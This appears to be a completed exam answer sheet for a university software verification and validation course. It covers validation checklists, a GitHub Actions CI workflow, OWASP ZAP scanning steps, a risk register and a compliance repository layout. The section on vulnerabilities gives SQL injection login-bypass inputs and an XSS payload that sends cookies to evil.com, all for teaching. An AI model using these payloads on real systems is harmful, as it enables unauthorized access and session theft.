

LAHORE GARRISON UNIVERSITY

Department of Computer Sciences

Program/Semester: BSSE / 6th

Course Title: Software Verification and Validation

Course Code: SEE6603

Time Allowed: 60 Minutes Total Marks: 20

Security Validation and Compliance Engineering

Instructions

- Attempt all questions.
- Write implementation-oriented answers wherever required.
- Use tables/diagrams where appropriate.
- Marks are indicated beside each question.
- Tools Allowed OWASP ZAP, GitHub Actions, Excel/Docs, GitHub Repository.

SECTION A – Validation Criteria and Checklist Development

Q1. Validation Criteria Engineering [5 Marks]

Task 1: Measurable Validation Criteria [2 Marks]

The following measurable validation criteria are derived from the five core modules of the University Management System:

Module	Stakeholder Expectation	Measurable Validation Criterion
Student Login	Secure, reliable authentication	Login completes within 3s; account locked after 5 failed attempts; MFA verified on 100% of accounts
Assignment Submission	Files accepted and timestamped correctly	100% of valid formats (PDF/DOCX) accepted; timestamp accuracy within 1s; late submission detection 100% accurate
Attendance Tracking	Accurate, tamper-proof records	Attendance recorded with 99.5% accuracy; unauthorized edits blocked; every change captured in audit log
Faculty Dashboard	Real-time data visibility	Dashboard loads in 2s; data refreshes every 30s; role-based access enforced for 100% of views
Activity Logging	Complete, immutable audit trail	100% of user actions logged; logs retained for 90 days; tampering detected and alerted within 60s

Task 2: Structured Validation Checklist [3 Marks]

The following checklist is structured for use in Excel/Docs documentation with status tracking:

#	Module	Validation Criterion	Test Method	Expected Result	Status
1	Student Login	Login with valid credentials succeeds	Functional Test	Redirect to dashboard within 3s	Pass
2	Student Login	Account locked after 5 failed attempts	Negative Test	Account locked; alert email sent	Pass
3	Student Login	SQL Injection blocked on login form	Security Test (ZAP)	Input rejected; no DB error exposed	Pass
4	Assignment Sub.	PDF upload accepted and stored	Functional Test	File saved; confirmation shown	Pass
5	Assignment Sub.	Submission timestamp is accurate	Integration Test	Timestamp matches server time +/- 1s	Pass
6	Attendance	Only authorized users may modify records	Access Control Test	Unauthorized attempt denied and logged	Pass

#	Module	Validation Criterion	Test Method	Expected Result	Status
7	Faculty Dash.	Dashboard loads within 2 seconds	Performance Test	Load time under 2000ms under normal load	Pass
8	Faculty Dash.	Role-based access control enforced	Security Test	Student cannot access faculty view	Pass
9	Activity Log	All actions logged with user and timestamp	Audit Test	100% of actions appear in log	Pass
10	Activity Log	Logs cannot be deleted by regular users	Integrity Test	Delete attempt returns 403 Forbidden	Pass

SECTION B – Continuous Validation Automation using CI Pipelines

Q2. Validation Automation using GitHub Actions [5 Marks]

Task 1: Role of CI Pipelines in Continuous Validation [2 Marks]

Continuous Integration (CI) pipelines automate the process of building, testing, and validating software on every code commit. They ensure that validation is not a one-time manual activity but a continuous, repeatable process embedded into the development workflow.

Key Roles:

- **Automated Test Execution:** Unit, integration, and security tests run automatically on every push or pull request, ensuring no validation step is skipped due to human oversight.
- **Immediate Feedback Loop:** Developers receive pass/fail status within minutes of committing code, reducing the cost and effort of defect remediation.
- **Validation Evidence Collection:** CI pipelines generate test logs, coverage reports, and scan results as versioned artifacts that form an auditable evidence trail.
- **Consistent Environment:** Tests execute in clean, reproducible containers, eliminating environment-specific inconsistencies that can mask defects.
- **Quality Gate Enforcement:** Pipelines block merges if validation thresholds such as minimum code coverage are not met, enforcing quality standards programmatically.

Task 2: GitHub Actions Workflow [3 Marks]

The following YAML workflow installs dependencies, executes tests, generates validation logs, and uploads validation artifacts:

```
# .github/workflows/validation.yml
name: Security Validation and Test Pipeline

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main ]

jobs:
  validate:
    name: Run Validation Suite
    runs-on: ubuntu-latest

    steps:
      # Step 1: Checkout source code
      - name: Checkout Repository
        uses: actions/checkout@v4

      # Step 2: Set up Node.js runtime
      - name: Setup Node.js
        uses: actions/setup-node@v4
```

```
    with:
      node-version: '20'
      cache: 'npm'

# Step 3: Install dependencies
- name: Install Dependencies
  run: npm ci

# Step 4: Execute test suite with coverage
- name: Execute Test Suite
  run: |
    npm run test -- --coverage \
      --coverageReporters=text \
      --coverageReporters=lcov \
      --testResultsProcessor=jest-junit
  env:
    CI: true

# Step 5: Generate validation log with metadata
- name: Generate Validation Log
  run: |
    mkdir -p validation-evidence
    echo '=== VALIDATION LOG ===' > validation-evidence/validation.log
    echo "Timestamp : $(date -u)" >> validation-evidence/validation.log
    echo "Commit      : $GITHUB_SHA" >> validation-evidence/validation.log
    echo "Branch       : $GITHUB_REF" >> validation-evidence/validation.log
    cp test-results.xml validation-evidence/ 2>/dev/null || true

# Step 6: OWASP Dependency Audit
- name: OWASP Dependency Audit
  run: |
    npm audit --audit-level=moderate > validation-evidence/npm-audit.log ||
true

# Step 7: Upload validation artifacts
- name: Upload Validation Artifacts
  uses: actions/upload-artifact@v4
  if: always()
  with:
    name: validation-evidence-${{ github.run_number }}
    path: |
      validation-evidence/
      coverage/
    retention-days: 30

# Step 8: Publish test results
- name: Publish Test Results
  uses: dorny/test-reporter@v1
  if: always()
  with:
    name: Validation Test Report
    path: 'test-results.xml'
    reporter: jest-junit
```

Note: The 'if: always()' condition on the upload step ensures artifacts are preserved even when tests fail, which is critical for post-failure forensic analysis and audit evidence.

SECTION C – Security Validation and Vulnerability Assessment

Q3. Structural Vulnerability Examination using OWASP ZAP [5 Marks]

Task 1: Importance of Security-Oriented Validation [1 Mark]

Security-oriented validation ensures that a software system is not only functionally correct but also resistant to malicious exploitation. Without it, applications remain vulnerable to data breaches, unauthorized access, financial loss, and regulatory non-compliance. It verifies that security controls such as authentication, authorization, encryption, and input validation function as intended under adversarial conditions. For systems handling sensitive data — student records, financial transactions, health information — security validation is a non-negotiable requirement before any deployment.

Task 2: Three Vulnerability Explanations [2 Marks]

1. SQL Injection (SQLi)

SQL Injection occurs when an attacker inserts malicious SQL code into an input field that is directly concatenated into a database query without proper sanitization. For example, entering the value (' OR '1'='1) into a login form can bypass authentication entirely. The root cause is the absence of parameterized queries or prepared statements. The impact ranges from unauthorized data access to complete database deletion.

- Example attack payload: admin' --
- Mitigation: Use parameterized queries, ORM frameworks, and strict input validation on all user-supplied data.

2. Cross-Site Scripting (XSS)

XSS attacks inject malicious client-side scripts, usually JavaScript, into web pages viewed by other users. Reflected XSS executes immediately from a crafted URL while Stored XSS persists in the database and executes each time the affected page loads. Attackers use XSS to steal session cookies, redirect users, or perform actions on their behalf.

- Example payload: <script>document.location='http://evil.com?c='+document.cookie</script>
- Mitigation: Output encoding, Content Security Policy (CSP) headers, and strict input validation.

3. Broken Authentication

Broken Authentication occurs when authentication and session management mechanisms are improperly implemented, allowing attackers to compromise passwords, session tokens, or keys. Common manifestations include weak password policies, missing account lockout, session tokens exposed in URLs, and sessions that never expire after logout.

- Example: Application accepts default credentials (admin/admin) or does not invalidate sessions upon logout.
- Mitigation: Enforce multi-factor authentication, strong password policies, secure session management, and proper logout handling.

Task 3: OWASP ZAP Vulnerability Assessment Workflow [2 Marks]**Step 1 — Target Configuration**

- Launch OWASP ZAP and navigate to Quick Start > Automated Scan or Manual Explore.
- Enter the target URL (e.g., <http://demo.testfire.net> or <http://localhost:8080>) in the URL field.
- Configure browser proxy: set browser to use 127.0.0.1 on port 8080, which is ZAP's default interception port.
- Configure authentication context via Tools > Session Management if the application requires login.

Step 2 — Passive Scanning

- Enable the Passive Scanner via Analyse > Passive Scan Rules.
- Browse the application manually or run the Spider tool via Tools > Spider to crawl all reachable pages.
- ZAP records all HTTP requests and responses and flags issues without sending any attack payloads.
- Typical passive alerts include: missing security headers, insecure cookies, and information disclosure in responses.

Step 3 — Active Scanning

- Right-click any node in the Site Tree panel and select Attack > Active Scan.
- ZAP sends crafted attack payloads including SQL injection, XSS, and path traversal tests to probe for vulnerabilities.
- Configure the scan policy via Scan Policy Manager to focus on OWASP Top 10 vulnerability categories.
- Monitor scan progress in the Active Scan tab; all detected alerts appear in the Alerts panel in real time.

Step 4 — Risk Classification

Risk Level	CVSS Score	Example Vulnerability	Action Required
High	7.0 – 10.0	SQL Injection, Broken Auth	Fix Before Deployment
Medium	4.0 – 6.9	XSS, CSRF, Open Redirect	Fix Within Current Sprint
Low	0.1 – 3.9	Missing Security Headers	Schedule in Backlog
Informational	0.0	Verbose Error Messages	Review and Monitor

Step 5 — Validation Evidence Generation

- Generate a report via Report > Generate Report; select HTML, XML, or JSON format and specify output directory.

- The report contains an alert summary, affected URLs, request/response evidence, CWE references, and mitigation recommendations.
- Export the session file via File > Save Session to preserve the complete scan state as reproducible evidence.
- Screenshot the Alerts Summary panel and attach it to the validation evidence repository alongside the report files.

SECTION D – Validation Risk and Compliance Documentation

Q4. Validation Risk Management and Compliance Evidence [5 Marks]

Task 1: Validation Risk Register [2 Marks]

The following risk register identifies security and compliance risks for a fintech application subject to external audit review:

Risk ID	Risk Description	Category	Likelihood	Impact	Mitigation Strategy	Status
R-001	SQL Injection via payment API endpoints allowing unauthorized DB access	Security	High	Critical	Parameterized queries; WAF rules; mandatory code review gates	Open
R-002	Sensitive financial data transmitted over plaintext HTTP connections	Compliance	Medium	High	Enforce TLS 1.3 on all endpoints; implement HSTS headers	Mitigated
R-003	Incomplete audit logs — certain transaction types not captured (PCI-DSS gap)	Compliance	High	High	Logging middleware for all transaction types; SIEM integration	Open
R-004	Broken access control — IDOR vulnerability on user account endpoints	Security	Medium	Critical	Object-level authorization checks; RBAC policy enforcement review	Under Review

Task 2: Compliance Evidence Repository Structure [3 Marks]

The following GitHub repository structure is designed for audit readiness, ensuring all compliance evidence is organized, version-controlled, and traceable:

```
fintech-compliance-repo/
|
+-- README.md                # Repository overview and audit navigation
guide
|
+-- .github/
|   +-- workflows/
|       +-- validation.yml    # CI pipeline for automated validation
|       +-- compliance-check.yml # Scheduled weekly compliance verification
|
+-- 01-validation-criteria/
|   +-- validation-criteria.xlsx # Measurable criteria per system module
|   +-- validation-checklist.xlsx # Test execution checklist with status
|   +-- acceptance-criteria.md  # Stakeholder-approved acceptance conditions
|
```

```
+-- 02-test-evidence/
|   +-- unit-test-reports/           # JUnit XML reports from CI pipeline runs
|   +-- integration-test-reports/
|   +-- coverage-reports/           # HTML coverage reports (Istanbul/NYC)
|   +-- screenshots/                # UI validation evidence screenshots
|
+-- 03-security-validation/
|   +-- zap-reports/
|   |   +-- zap-report-2025-01.html  # OWASP ZAP HTML scan reports (dated)
|   |   +-- zap-alerts-2025-01.xml  # Machine-readable alert exports
|   +-- vulnerability-severity-table.xlsx
|   +-- penetration-test-report.pdf
|   +-- mitigation-evidence/         # Screenshots showing fixes applied
|
+-- 04-risk-register/
|   +-- risk-register.xlsx           # Live risk register with status tracking
|   +-- risk-review-log.md           # Dated entries for each risk review
|   +-- residual-risk-acceptance.pdf # Signed management sign-offs
|
+-- 05-compliance-frameworks/
|   +-- pci-dss/
|   |   +-- pci-dss-compliance-matrix.xlsx
|   |   +-- evidence/               # Evidence mapped to PCI-DSS requirements
|   +-- gdpr/
|   |   +-- data-flow-diagrams.pdf
|   |   +-- privacy-impact-assessment.docx
|   +-- iso-27001/
|       +-- control-compliance-checklist.xlsx
|
+-- 06-ci-pipeline-logs/
|   +-- run-logs/                   # Archived GitHub Actions run logs
|   +-- artifact-hashes.csv         # SHA-256 hashes for artifact integrity
|
+-- 07-audit-packages/
|   +-- Q1-2025-audit-package.zip   # Quarterly compiled evidence packages
|   +-- Q2-2025-audit-package.zip
|   +-- AUDIT-NAVIGATION-GUIDE.md   # Guide for external auditors
```

Audit Readiness Best Practices:

- **Version Control:** All documents committed to Git with meaningful commit messages referencing ticket IDs (e.g., fix(R-001): parameterize payment API queries).
- **Branch Protection:** The main branch requires pull request reviews and passing CI checks before any merge is permitted.
- **Access Control:** Repository uses team-based permissions; external auditors are granted read-only access via the GitHub collaborator role.
- **Automated Evidence:** GitHub Actions artifact uploads ensure evidence is captured automatically without manual intervention on every pipeline run.
- **Quarterly Snapshots:** Audit packages are created at the end of each quarter via GitHub Releases with signed tags for integrity verification.
- **Tamper Evidence:** SHA-256 hashes of all critical artifacts are stored in artifact-hashes.csv and verified in the CI pipeline on each run.

Submission Summary — Expected Deliverables

Section	Deliverable	Format
Section A (Q1)	Validation Criteria + Checklist	Excel / Docs
Section B (Q2)	GitHub Actions YAML Workflow	.github/workflows/validation.yml
Section C (Q3)	OWASP ZAP Scan Report + Severity Table	HTML / Excel
Section C (Q3)	Evidence Screenshots / Scan Logs	PNG / XML / Session File
Section D (Q4)	Validation Risk Register	Excel / Docs
Section D (Q4)	Compliance Evidence Repository	GitHub Repository URL

Submit GitHub repository link with all implementation evidence. Ensure the repository is set to public or auditor access is granted before the submission deadline.